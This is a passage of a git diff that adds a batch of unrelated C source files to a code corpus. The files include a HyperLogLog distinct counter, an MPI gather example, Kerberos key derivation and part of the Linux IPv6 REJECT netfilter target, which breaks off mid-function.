printf("}\n"); + } + + if (mode == 'm') { + fprintf(stderr, "permuting the matrix...\n"); + int *pinv = spasm_pinv(postorder, n); + spasm *B = spasm_permute(A, postorder, pinv, SPASM_WITH_NUMERICAL_VALUES); + free(pinv); + spasm_save_csr(stdout, B); + spasm_csr_free(B); + } + + if (mode == 's') { + fprintf(stderr, "producing stats...\n"); + /* no */ + } + + free(uetree); + free(postorder); + spasm_csr_free(A); + return 0; +} diff --git a/pool/shard011/C/0141987_my_fgetsize.c b/pool/shard011/C/0141987_my_fgetsize.c new file mode 100644 index 0000000000000000000000000000000000000000..140c45411117250bcb6260f28e5482c48af89d14 --- /dev/null +++ b/pool/shard011/C/0141987_my_fgetsize.c @@ -0,0 +1,33 @@ +/* +** my_fgetsize.c for bsq in /home/pirou_g/a rendre bsq/bsq/src/bsq +** +** Made by Guillaume Pirou +** Login +** +** Started on Sun Jan 18 20:01:09 2015 Guillaume Pirou +** Last update Sun Jan 18 20:01:10 2015 Guillaume Pirou +*/ + +#include +#include +#include +#include +#include + +long my_fgetsize(char *path) +{ + long i; + int j; + int fd; + char buff[4096]; + + if (path == NULL) + return (-1); + i = 0; + if ((fd = open(path, O_RDONLY)) < 0) + return (-1); + while ((j = read(fd, buff, 4096)) > 0) + i += j; + close(fd); + return (i); +} diff --git a/pool/shard011/C/0141988_mpyaccs.c b/pool/shard011/C/0141988_mpyaccs.c new file mode 100644 index 0000000000000000000000000000000000000000..65c7e9ed1e11949bb675431b91c121e48da2376f --- /dev/null +++ b/pool/shard011/C/0141988_mpyaccs.c @@ -0,0 +1,40 @@ +/* $OpenBSD: mpyaccs.c,v 1.6 2003/04/10 17:27:58 mickey Exp $ */ +/* + (c) Copyright 1986 HEWLETT-PACKARD COMPANY + To anyone who acknowledges that this file is provided "AS IS" + without any express or implied warranty: + permission to use, copy, modify, and distribute this file + for any purpose is hereby granted without fee, provided that + the above copyright notice and this notice appears in all + copies, and that the name of Hewlett-Packard Company not be + used in advertising or publicity pertaining to distribution + of the software without specific, written prior permission. + Hewlett-Packard Company makes no representations about the + suitability of this software for any purpose. +*/ +/* @(#)mpyaccs.c: Revision: 1.6.88.1 Date: 93/12/07 15:06:39 */ + +#include "md.h" + +void +mpyaccs(opnd1,opnd2,result) + int opnd1, opnd2; + struct mdsfu_register *result; +{ + struct mdsfu_register temp; + int carry, sign; + + s_xmpy(&opnd1,&opnd2,&temp); + + /* get result of low word add, and check for carry out */ + if ((result_lo += (unsigned)temp.rslt_lo) < (unsigned)temp.rslt_lo) + carry = 1; + else + carry = 0; + + /* get result of high word add, and determine overflow status */ + sign = result_hi ^ temp.rslt_hi; + result_hi += temp.rslt_hi + carry; + if (sign >= 0 && (temp.rslt_hi ^ result_hi) < 0) + overflow = TRUE; +} diff --git a/pool/shard011/C/0141989_bsp.c b/pool/shard011/C/0141989_bsp.c new file mode 100644 index 0000000000000000000000000000000000000000..2db9769767fb5049c32073fd1972db395269bbe1 --- /dev/null +++ b/pool/shard011/C/0141989_bsp.c @@ -0,0 +1,61 @@ +/* + * Copyright (c) 2007-2009 POK team + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials + * provided with the distribution. + * * Neither the name of the POK Team nor the names of its main + * author (Julien Delange) or its contributors may be used to + * endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * AS IS AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include +#include + +// defined in a linker script +extern char _pok_heap_start[]; + +static char *heap_end = _pok_heap_start; + +void *pok_bsp_mem_alloc (size_t sz) +{ + char *res; + + res = (char *)(((unsigned int)heap_end + 4095) & ~4095); + heap_end = res + sz; +#if POK_NEEDS_DEBUG + printf("[DEBUG] MALLOC: Space reserved starting at: %p, with size: %x\n", + res, sz); +#endif + return res; +} + +pok_bool_t pok_cons_write (const char *s, size_t length) +{ + for (; length > 0; length--) + putchar((int)(*s++)); + return 0; +} diff --git a/pool/shard011/C/0141990_DistinctCounter.c b/pool/shard011/C/0141990_DistinctCounter.c new file mode 100644 index 0000000000000000000000000000000000000000..d5f51adbc54c8f60b6490f3e72e31113be8c4b8e --- /dev/null +++ b/pool/shard011/C/0141990_DistinctCounter.c @@ -0,0 +1,210 @@ +#include +#include +#include "../inc/DistinctCounter.h" + +/** + * @file DistinctCounter.c + * + * Contains implementations of the functions defined in DistinctCounter.h, as well as some static helper functions. + */ + +int strCompare(const void *a, const void *b) +{ + if (a == NULL && b == NULL) + return 0; + else if (a == NULL) + return -1; + else if (b == NULL) + return 1; + + return strcmp((const char *)a, (const char *)b); +} + +void hash(const void *item, size_t h, void *buffer) +{ + if (item == NULL) + { + for (size_t i = 0; i < h; i++) + ((char*)buffer)[i] = 0; + + return; + } + + const unsigned char *string = item; + unsigned int seed = 5381; + unsigned char c; + + while ((c = *(string++)) != '\0') + seed = seed * 33 + c; + + srand(seed); + + for (size_t i = 0; i < h; i++) + { + ((char*)buffer)[i] = (char)rand(); + } +} + +/** + * @param this must not be `NULL` + * @return 0 on success, non-zero on failure + */ +static int dstInitAvlTree(struct DistinctCounter *this, int (*compare)(const void *, const void *)) +{ + this->counter.avl_tree = malloc(sizeof(struct AvlTree)); + if (this->counter.avl_tree == NULL) + return 1; + + avlInit(this->counter.avl_tree, compare); + + this->type = AVL_TREE; + this->to_free = NULL; + + return 0; +} + +/** + * @param this must not be `NULL` + * @param r SMALL|MEDIUM|LARGE + * @param b 4 < b < sizeof(size_t) * CHAR_BIT + * @return 0 on success, non-zero on failure + */ +static int dstInitHyperLogLog(struct DistinctCounter *this, unsigned char r, unsigned char b, void (*hash)(const void*, size_t, void*)) +{ + this->counter.hyperloglog = malloc(sizeof(struct HyperLogLog)); + if (this->counter.hyperloglog == NULL) + return 1; + + hllInit(this->counter.hyperloglog, r, b, hash); + + this->type = HYPERLOGLOG; + this->to_free = NULL; + + return 0; +} + +/** + * @param this must not be `NULL` + */ +static inline void dstFreeAvlTree(struct DistinctCounter *this) +{ + avlFree(this->counter.avl_tree); + free(this->counter.avl_tree); + tflReset(&this->to_free); +} + +/** + * @param this must not be `NULL` + */ +static inline void dstFreeHyperLogLog(struct DistinctCounter *this) +{ + hllFree(this->counter.hyperloglog); + free(this->counter.hyperloglog); +} + +/** + * @param this must not be `NULL` + * @param item must not be `NULL` + */ +static inline void dstAddAvlTree(struct DistinctCounter *this, const char *item) +{ + // copy string + char *copy = malloc(( strlen(item) + 1) * sizeof(*copy)); + if (copy == NULL) + return; + + strcpy(copy, item); + tflAdd(&this->to_free, copy); + + avlInsert(this->counter.avl_tree, copy); +} + +/** + * @param this must not be `NULL` + * @param item must not be `NULL` + */ +static inline void dstAddHyperLogLog(struct DistinctCounter *this, const char *item) +{ + hllAdd(this->counter.hyperloglog, (const void *)item); +} + +/** + * @param this must not be `NULL` + */ +static inline size_t dstCountAvlTree(struct DistinctCounter *this) +{ + return this->counter.avl_tree->count; +} + +static inline size_t dstCountHyperLogLog(struct DistinctCounter *this) +{ + return (size_t)hllCount(this->counter.hyperloglog); +} + +int dstInit(struct DistinctCounter *this, int type, union DstInitInfo *init_info) +{ + if (this == NULL) + return 1; + if (init_info == NULL) + return 1; + + switch (type) + { + case AVL_TREE: + return dstInitAvlTree(this, &strCompare); + case HYPERLOGLOG: + return dstInitHyperLogLog(this, SMALL, 12, &hash); + default: + return 1; + } +} + +void dstFree(struct DistinctCounter *this) +{ + if (this == NULL) + return; + + switch (this->type) + { + case AVL_TREE: + dstFreeAvlTree(this); + break; + case HYPERLOGLOG: + dstFreeHyperLogLog(this); + break; + } +} + +void dstAdd(struct DistinctCounter *this, const char *item) +{ + if (this == NULL) + return; + if (item == NULL) + return; + + switch (this->type) + { + case AVL_TREE: + dstAddAvlTree(this, item); + break; + case HYPERLOGLOG: + dstAddHyperLogLog(this, item); + break; + } +} + +size_t dstCount(struct DistinctCounter *this) +{ + if (this == NULL) + return 0; + + switch (this->type) + { + case AVL_TREE: + return dstCountAvlTree(this); + case HYPERLOGLOG: + return dstCountHyperLogLog(this); + default: + return 0; + } +} \ No newline at end of file diff --git a/pool/shard011/C/0141991_gatherv.c b/pool/shard011/C/0141991_gatherv.c new file mode 100644 index 0000000000000000000000000000000000000000..441883e04712481af021e4d3293afca26c81f780 --- /dev/null +++ b/pool/shard011/C/0141991_gatherv.c @@ -0,0 +1,66 @@ +/* +! This program shows how to use MPI_Gatherv. Each processor sends a +! different amount of data to the root processor. We use MPI_Gather +! first to tell the root how much data is going to be sent. +*/ +#include +#include +#include +/* globals */ +int numnodes,myid,mpi_err; +#define mpi_root 0 +/* end of globals */ + +void init_it(int *argc, char ***argv); + +void init_it(int *argc, char ***argv) { + mpi_err = MPI_Init(argc,argv); + mpi_err = MPI_Comm_size( MPI_COMM_WORLD, &numnodes ); + mpi_err = MPI_Comm_rank(MPI_COMM_WORLD, &myid); +} + +int main(int argc,char *argv[]){ +/* poe a.out -procs 3 -rmpool 1 */ + int *will_use; + int *myray,*displacements,*counts,*allray; + int size,mysize,i; + + init_it(&argc,&argv); + mysize=myid+1; + myray=(int*)malloc(mysize*sizeof(int)); + for(i=0;i +#include "main.h" +#include "src/dlltest.h" + +int addsum(int i, int j) +{ + int s = sum(i, j); + return s; +} + +int main() +{ + int a = 5; + int b = 6; + printf("%d + %d = %d\n", a, b, addsum(a, b)); + + return 0; +} diff --git a/pool/shard011/C/0141993_nsdumpdv.c b/pool/shard011/C/0141993_nsdumpdv.c new file mode 100644 index 0000000000000000000000000000000000000000..2b291c500fb0da2ac284cc7f787902df5d431f4e --- /dev/null +++ b/pool/shard011/C/0141993_nsdumpdv.c @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 +/****************************************************************************** + * + * Module Name: nsdump - table dumping routines for debug + * + * Copyright (C) 2000 - 2018, Intel Corp. + * + *****************************************************************************/ + +#include + +/* TBD: This entire module is apparently obsolete and should be removed */ + +#define _COMPONENT ACPI_NAMESPACE +ACPI_MODULE_NAME("nsdumpdv") +#ifdef ACPI_OBSOLETE_FUNCTIONS +#if defined(ACPI_DEBUG_OUTPUT) || defined(ACPI_DEBUGGER) +#include "acnamesp.h" +/******************************************************************************* + * + * FUNCTION: acpi_ns_dump_one_device + * + * PARAMETERS: handle - Node to be dumped + * level - Nesting level of the handle + * context - Passed into walk_namespace + * return_value - Not used + * + * RETURN: Status + * + * DESCRIPTION: Dump a single Node that represents a device + * This procedure is a user_function called by acpi_ns_walk_namespace. + * + ******************************************************************************/ +static acpi_status +acpi_ns_dump_one_device(acpi_handle obj_handle, + u32 level, void *context, void **return_value) +{ + struct acpi_buffer buffer; + struct acpi_device_info *info; + acpi_status status; + u32 i; + + ACPI_FUNCTION_NAME(ns_dump_one_device); + + status = + acpi_ns_dump_one_object(obj_handle, level, context, return_value); + + buffer.length = ACPI_ALLOCATE_LOCAL_BUFFER; + status = acpi_get_object_info(obj_handle, &buffer); + if (ACPI_SUCCESS(status)) { + info = buffer.pointer; + for (i = 0; i < level; i++) { + ACPI_DEBUG_PRINT_RAW((ACPI_DB_TABLES, " ")); + } + + ACPI_DEBUG_PRINT_RAW((ACPI_DB_TABLES, + " HID: %s, ADR: %8.8X%8.8X\n", + info->hardware_id.value, + ACPI_FORMAT_UINT64(info->address))); + ACPI_FREE(info); + } + + return (status); +} + +/******************************************************************************* + * + * FUNCTION: acpi_ns_dump_root_devices + * + * PARAMETERS: None + * + * RETURN: None + * + * DESCRIPTION: Dump all objects of type "device" + * + ******************************************************************************/ + +void acpi_ns_dump_root_devices(void) +{ + acpi_handle sys_bus_handle; + acpi_status status; + + ACPI_FUNCTION_NAME(ns_dump_root_devices); + + /* Only dump the table if tracing is enabled */ + + if (!(ACPI_LV_TABLES & acpi_dbg_level)) { + return; + } + + status = acpi_get_handle(NULL, METHOD_NAME__SB_, &sys_bus_handle); + if (ACPI_FAILURE(status)) { + return; + } + + ACPI_DEBUG_PRINT((ACPI_DB_TABLES, + "Display of all devices in the namespace:\n")); + + status = acpi_ns_walk_namespace(ACPI_TYPE_DEVICE, sys_bus_handle, + ACPI_UINT32_MAX, ACPI_NS_WALK_NO_UNLOCK, + acpi_ns_dump_one_device, NULL, NULL, + NULL); +} + +#endif +#endif diff --git a/pool/shard011/C/0141994_LB+PPO0458.c b/pool/shard011/C/0141994_LB+PPO0458.c new file mode 100644 index 0000000000000000000000000000000000000000..32929b203d3771d0ae1e15aedc850405d1dd7139 --- /dev/null +++ b/pool/shard011/C/0141994_LB+PPO0458.c @@ -0,0 +1,64 @@ +/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo + * This benchmark is part of SWSC */ + +#include +#include +#include +#include + +atomic_int vars[4]; +atomic_int atom_0_r1_1; +atomic_int atom_1_r1_1; + +void *t0(void *arg){ +label_1:; + int v2_r1 = atomic_load_explicit(&vars[0], memory_order_seq_cst); + int v3_r3 = v2_r1 ^ v2_r1; + int v4_r3 = v3_r3 + 1; + atomic_store_explicit(&vars[1], v4_r3, memory_order_seq_cst); + int v18 = (v2_r1 == 1); + atomic_store_explicit(&atom_0_r1_1, v18, memory_order_seq_cst); + return NULL; +} + +void *t1(void *arg){ +label_2:; + int v6_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst); + int v7_r3 = v6_r1 ^ v6_r1; + atomic_store_explicit(&vars[2+v7_r3], 1, memory_order_seq_cst); + int v9_r6 = atomic_load_explicit(&vars[2], memory_order_seq_cst); + int v11_r7 = atomic_load_explicit(&vars[2], memory_order_seq_cst); + int v12_cmpeq = (v11_r7 == v11_r7); + if (v12_cmpeq) goto lbl_LC00; else goto lbl_LC00; +lbl_LC00:; + atomic_store_explicit(&vars[3], 1, memory_order_seq_cst); + int v14_r10 = atomic_load_explicit(&vars[3], memory_order_seq_cst); + atomic_store_explicit(&vars[0], 1, memory_order_seq_cst); + int v19 = (v6_r1 == 1); + atomic_store_explicit(&atom_1_r1_1, v19, memory_order_seq_cst); + return NULL; +} + +int main(int argc, char *argv[]){ + pthread_t thr0; + pthread_t thr1; + + atomic_init(&vars[2], 0); + atomic_init(&vars[3], 0); + atomic_init(&vars[0], 0); + atomic_init(&vars[1], 0); + atomic_init(&atom_0_r1_1, 0); + atomic_init(&atom_1_r1_1, 0); + + pthread_create(&thr0, NULL, t0, NULL); + pthread_create(&thr1, NULL, t1, NULL); + + pthread_join(thr0, NULL); + pthread_join(thr1, NULL); + + int v15 = atomic_load_explicit(&atom_0_r1_1, memory_order_seq_cst); + int v16 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst); + int v17_conj = v15 & v16; + if (v17_conj == 1) assert(0); + return 0; +} diff --git a/pool/shard011/C/0141995_gss_krb5_keys.c b/pool/shard011/C/0141995_gss_krb5_keys.c new file mode 100644 index 0000000000000000000000000000000000000000..24589bd2a4b600cae5fdb8f5c0f54fb5198e2115 --- /dev/null +++ b/pool/shard011/C/0141995_gss_krb5_keys.c @@ -0,0 +1,327 @@ +/* + * COPYRIGHT (c) 2008 + * The Regents of the University of Michigan + * ALL RIGHTS RESERVED + * + * Permission is granted to use, copy, create derivative works + * and redistribute this software and such derivative works + * for any purpose, so long as the name of The University of + * Michigan is not used in any advertising or publicity + * pertaining to the use of distribution of this software + * without specific, written prior authorization. If the + * above copyright notice or any other identification of the + * University of Michigan is included in any copy of any + * portion of this software, then the disclaimer below must + * also be included. + * + * THIS SOFTWARE IS PROVIDED AS IS, WITHOUT REPRESENTATION + * FROM THE UNIVERSITY OF MICHIGAN AS TO ITS FITNESS FOR ANY + * PURPOSE, AND WITHOUT WARRANTY BY THE UNIVERSITY OF + * MICHIGAN OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING + * WITHOUT LIMITATION THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE + * REGENTS OF THE UNIVERSITY OF MICHIGAN SHALL NOT BE LIABLE + * FOR ANY DAMAGES, INCLUDING SPECIAL, INDIRECT, INCIDENTAL, OR + * CONSEQUENTIAL DAMAGES, WITH RESPECT TO ANY CLAIM ARISING + * OUT OF OR IN CONNECTION WITH THE USE OF THE SOFTWARE, EVEN + * IF IT HAS BEEN OR IS HEREAFTER ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGES. + */ + +/* + * Copyright (C) 1998 by the FundsXpress, INC. + * + * All rights reserved. + * + * Export of this software from the United States of America may require + * a specific license from the United States Government. It is the + * responsibility of any person or organization contemplating export to + * obtain such a license before exporting. + * + * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and + * distribute this software and its documentation for any purpose and + * without fee is hereby granted, provided that the above copyright + * notice appear in all copies and that both that copyright notice and + * this permission notice appear in supporting documentation, and that + * the name of FundsXpress. not be used in advertising or publicity pertaining + * to distribution of the software without specific, written prior + * permission. FundsXpress makes no representations about the suitability of + * this software for any purpose. It is provided "as is" without express + * or implied warranty. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#include +#include +#include +#include +#include +#include + +#ifdef RPC_DEBUG +# define RPCDBG_FACILITY RPCDBG_AUTH +#endif + +/* + * This is the n-fold function as described in rfc3961, sec 5.1 + * Taken from MIT Kerberos and modified. + */ + +static void krb5_nfold(u32 inbits, const u8 *in, + u32 outbits, u8 *out) +{ + unsigned long ulcm; + int byte, i, msbit; + + /* the code below is more readable if I make these bytes + instead of bits */ + + inbits >>= 3; + outbits >>= 3; + + /* first compute lcm(n,k) */ + ulcm = lcm(inbits, outbits); + + /* now do the real work */ + + memset(out, 0, outbits); + byte = 0; + + /* this will end up cycling through k lcm(k,n)/k times, which + is correct */ + for (i = ulcm-1; i >= 0; i--) { + /* compute the msbit in k which gets added into this byte */ + msbit = ( + /* first, start with the msbit in the first, + * unrotated byte */ + ((inbits << 3) - 1) + /* then, for each byte, shift to the right + * for each repetition */ + + (((inbits << 3) + 13) * (i/inbits)) + /* last, pick out the correct byte within + * that shifted repetition */ + + ((inbits - (i % inbits)) << 3) + ) % (inbits << 3); + + /* pull out the byte value itself */ + byte += (((in[((inbits - 1) - (msbit >> 3)) % inbits] << 8)| + (in[((inbits) - (msbit >> 3)) % inbits])) + >> ((msbit & 7) + 1)) & 0xff; + + /* do the addition */ + byte += out[i % outbits]; + out[i % outbits] = byte & 0xff; + + /* keep around the carry bit, if any */ + byte >>= 8; + + } + + /* if there's a carry bit left over, add it back in */ + if (byte) { + for (i = outbits - 1; i >= 0; i--) { + /* do the addition */ + byte += out[i]; + out[i] = byte & 0xff; + + /* keep around the carry bit, if any */ + byte >>= 8; + } + } +} + +/* + * This is the DK (derive_key) function as described in rfc3961, sec 5.1 + * Taken from MIT Kerberos and modified. + */ + +u32 krb5_derive_key(const struct gss_krb5_enctype *gk5e, + const struct xdr_netobj *inkey, + struct xdr_netobj *outkey, + const struct xdr_netobj *in_constant, + gfp_t gfp_mask) +{ + size_t blocksize, keybytes, keylength, n; + unsigned char *inblockdata, *outblockdata, *rawkey; + struct xdr_netobj inblock, outblock; + struct crypto_blkcipher *cipher; + u32 ret = EINVAL; + + blocksize = gk5e->blocksize; + keybytes = gk5e->keybytes; + keylength = gk5e->keylength; + + if ((inkey->len != keylength) || (outkey->len != keylength)) + goto err_return; + + cipher = crypto_alloc_blkcipher(gk5e->encrypt_name, 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(cipher)) + goto err_return; + if (crypto_blkcipher_setkey(cipher, inkey->data, inkey->len)) + goto err_return; + + /* allocate and set up buffers */ + + ret = ENOMEM; + inblockdata = kmalloc(blocksize, gfp_mask); + if (inblockdata == NULL) + goto err_free_cipher; + + outblockdata = kmalloc(blocksize, gfp_mask); + if (outblockdata == NULL) + goto err_free_in; + + rawkey = kmalloc(keybytes, gfp_mask); + if (rawkey == NULL) + goto err_free_out; + + inblock.data = (char *) inblockdata; + inblock.len = blocksize; + + outblock.data = (char *) outblockdata; + outblock.len = blocksize; + + /* initialize the input block */ + + if (in_constant->len == inblock.len) { + memcpy(inblock.data, in_constant->data, inblock.len); + } else { + krb5_nfold(in_constant->len * 8, in_constant->data, + inblock.len * 8, inblock.data); + } + + /* loop encrypting the blocks until enough key bytes are generated */ + + n = 0; + while (n < keybytes) { + (*(gk5e->encrypt))(cipher, NULL, inblock.data, + outblock.data, inblock.len); + + if ((keybytes - n) <= outblock.len) { + memcpy(rawkey + n, outblock.data, (keybytes - n)); + break; + } + + memcpy(rawkey + n, outblock.data, outblock.len); + memcpy(inblock.data, outblock.data, outblock.len); + n += outblock.len; + } + + /* postprocess the key */ + + inblock.data = (char *) rawkey; + inblock.len = keybytes; + + BUG_ON(gk5e->mk_key == NULL); + ret = (*(gk5e->mk_key))(gk5e, &inblock, outkey); + if (ret) { + dprintk("%s: got %d from mk_key function for '%s'\n", + __func__, ret, gk5e->encrypt_name); + goto err_free_raw; + } + + /* clean memory, free resources and exit */ + + ret = 0; + +err_free_raw: + memset(rawkey, 0, keybytes); + kfree(rawkey); +err_free_out: + memset(outblockdata, 0, blocksize); + kfree(outblockdata); +err_free_in: + memset(inblockdata, 0, blocksize); + kfree(inblockdata); +err_free_cipher: + crypto_free_blkcipher(cipher); +err_return: + return ret; +} + +#define smask(step) ((1<>step)&smask(step))) +#define parity_char(x) pstep(pstep(pstep((x), 4), 2), 1) + +static void mit_des_fixup_key_parity(u8 key[8]) +{ + int i; + for (i = 0; i < 8; i++) { + key[i] &= 0xfe; + key[i] |= 1^parity_char(key[i]); + } +} + +/* + * This is the des3 key derivation postprocess function + */ +u32 gss_krb5_des3_make_key(const struct gss_krb5_enctype *gk5e, + struct xdr_netobj *randombits, + struct xdr_netobj *key) +{ + int i; + u32 ret = EINVAL; + + if (key->len != 24) { + dprintk("%s: key->len is %d\n", __func__, key->len); + goto err_out; + } + if (randombits->len != 21) { + dprintk("%s: randombits->len is %d\n", + __func__, randombits->len); + goto err_out; + } + + /* take the seven bytes, move them around into the top 7 bits of the + 8 key bytes, then compute the parity bits. Do this three times. */ + + for (i = 0; i < 3; i++) { + memcpy(key->data + i*8, randombits->data + i*7, 7); + key->data[i*8+7] = (((key->data[i*8]&1)<<1) | + ((key->data[i*8+1]&1)<<2) | + ((key->data[i*8+2]&1)<<3) | + ((key->data[i*8+3]&1)<<4) | + ((key->data[i*8+4]&1)<<5) | + ((key->data[i*8+5]&1)<<6) | + ((key->data[i*8+6]&1)<<7)); + + mit_des_fixup_key_parity(key->data + i*8); + } + ret = 0; +err_out: + return ret; +} + +/* + * This is the aes key derivation postprocess function + */ +u32 gss_krb5_aes_make_key(const struct gss_krb5_enctype *gk5e, + struct xdr_netobj *randombits, + struct xdr_netobj *key) +{ + u32 ret = EINVAL; + + if (key->len != 16 && key->len != 32) { + dprintk("%s: key->len is %d\n", __func__, key->len); + goto err_out; + } + if (randombits->len != 16 && randombits->len != 32) { + dprintk("%s: randombits->len is %d\n", + __func__, randombits->len); + goto err_out; + } + if (randombits->len != key->len) { + dprintk("%s: randombits->len is %d, key->len is %d\n", + __func__, randombits->len, key->len); + goto err_out; + } + memcpy(key->data, randombits->data, key->len); + ret = 0; +err_out: + return ret; +} + diff --git a/pool/shard011/C/0141996_texmap_tiff.c b/pool/shard011/C/0141996_texmap_tiff.c new file mode 100644 index 0000000000000000000000000000000000000000..85ff503a8a2146e2260a6cf517f6cdfe696e351e --- /dev/null +++ b/pool/shard011/C/0141996_texmap_tiff.c @@ -0,0 +1,62 @@ +/** + * Copyright © 2013 Casey Dahlin + * + * This file is part of Luftballons. + * + * Luftballons is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Luftballons is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Luftballons. If not, see . + **/ + +#include +#include +#include + +#include "texmap.h" +#include "util.h" + +int +texmap_load_image_tiff(texmap_t *map, GLint level, int fd, const char *path) +{ + TIFF *img; + img = TIFFFdOpen(fd, path, "r"); + uint32_t width, height; + void *data; + GLint ifmt = GL_RGBA; + + if (map->flags & TEXMAP_COMPRESSED) + ifmt = GL_COMPRESSED_RGBA; + + if (! img) + return 0; + + TIFFGetField(img, TIFFTAG_IMAGEWIDTH, &width); + TIFFGetField(img, TIFFTAG_IMAGELENGTH, &height); + + data = xcalloc(width * height, sizeof(uint32_t)); + + if (! TIFFReadRGBAImage(img, width, height, data, 0)) + errx(1, "Could not read TIFF"); + + texmap_get_texture_unit(map); + glTexImage2D(GL_TEXTURE_2D, level, ifmt, width, height, 0, GL_RGBA, + GL_UNSIGNED_BYTE, data); + + CHECK_GL; + TIFFClose(img); + free(data); + + map->w = width; + map->h = height; + + return 1; +} diff --git a/pool/shard011/C/0141997_ip6t_REJECT.c b/pool/shard011/C/0141997_ip6t_REJECT.c new file mode 100644 index 0000000000000000000000000000000000000000..0981b4ccb8b1c2c20ec4592dd6d0fc27b24f5514 --- /dev/null +++ b/pool/shard011/C/0141997_ip6t_REJECT.c @@ -0,0 +1,258 @@ +/* + * IP6 tables REJECT target module + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on net/ipv4/netfilter/ipt_REJECT.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_AUTHOR("Yasuyuki KOZAKAI "); +MODULE_DESCRIPTION("Xtables: packet \"rejection\" target for IPv6"); +MODULE_LICENSE("GPL"); + +/* Send RST reply */ +static void send_reset(struct net *net, struct sk_buff *oldskb) +{ + struct sk_buff *nskb; + struct tcphdr otcph, *tcph; + unsigned int otcplen, hh_len; + int tcphoff, needs_ack; + const struct ipv6hdr *oip6h = ipv6_hdr(oldskb); + struct ipv6hdr *ip6h; + struct dst_entry *dst = NULL; + u8 proto; + struct flowi fl; + + if ((!(ipv6_addr_type(&oip6h->saddr) & IPV6_ADDR_UNICAST)) || + (!(ipv6_addr_type(&oip6h->daddr) & IPV6_ADDR_UNICAST))) { + pr_debug("ip6t_REJECT: addr is not unicast.\n"); + return; + } + + proto = oip6h->nexthdr; + tcphoff = ipv6_skip_exthdr(oldskb, ((u8*)(oip6h+1) - oldskb->data), &proto); + + if ((tcphoff < 0) || (tcphoff > oldskb->len)) { + pr_debug("ip6t_REJECT: Can't get TCP header.\n"); + return; + } + + otcplen = oldskb->len - tcphoff; + + /* IP header checks: fragment, too short. */ + if (proto != IPPROTO_TCP || otcplen < sizeof(struct tcphdr)) { + pr_debug("ip6t_REJECT: proto(%d) != IPPROTO_TCP, " + "or too short. otcplen = %d\n", + proto, otcplen); + return; + } + + if (skb_copy_bits(oldskb, tcphoff, &otcph, sizeof(struct tcphdr))) + BUG(); + + /* No RST for RST. */ + if (otcph.rst) { + pr_debug("ip6t_REJECT: RST is set\n"); + return; + } + + /* Check checksum. */ + if (csum_ipv6_magic(&oip6h->saddr, &oip6h->daddr, otcplen, IPPROTO_TCP, + skb_checksum(oldskb, tcphoff, otcplen, 0))) { + pr_debug("ip6t_REJECT: TCP checksum is invalid\n"); + return; + } + + memset(&fl, 0, sizeof(fl)); + fl.proto = IPPROTO_TCP; + ipv6_addr_copy(&fl.fl6_src, &oip6h->daddr); + ipv6_addr_copy(&fl.fl6_dst, &oip6h->saddr); + fl.fl_ip_sport = otcph.dest; + fl.fl_ip_dport = otcph.source; + security_skb_classify_flow(oldskb, &fl); + dst = ip6_route_output(net, NULL, &fl); + if (dst == NULL) + return; + if (dst->error || xfrm_lookup(&dst, &fl, NULL, 0)) + return; + + hh_len = (dst->dev->hard_header_len + 15)&~15; + nskb = alloc_skb(hh_len + 15 + dst->header_len + sizeof(struct ipv6hdr) + + sizeof(struct tcphdr) + dst->trailer_len, + GFP_ATOMIC); + + if (!nskb) { + if (net_ratelimit()) + printk("ip6t_REJECT: Can't alloc skb\n"); + dst_release(dst); + return; + } + + nskb->dst = dst; + + skb_reserve(nskb, hh_len + dst->header_len); + + skb_put(nskb, sizeof(struct ipv6hdr)); + 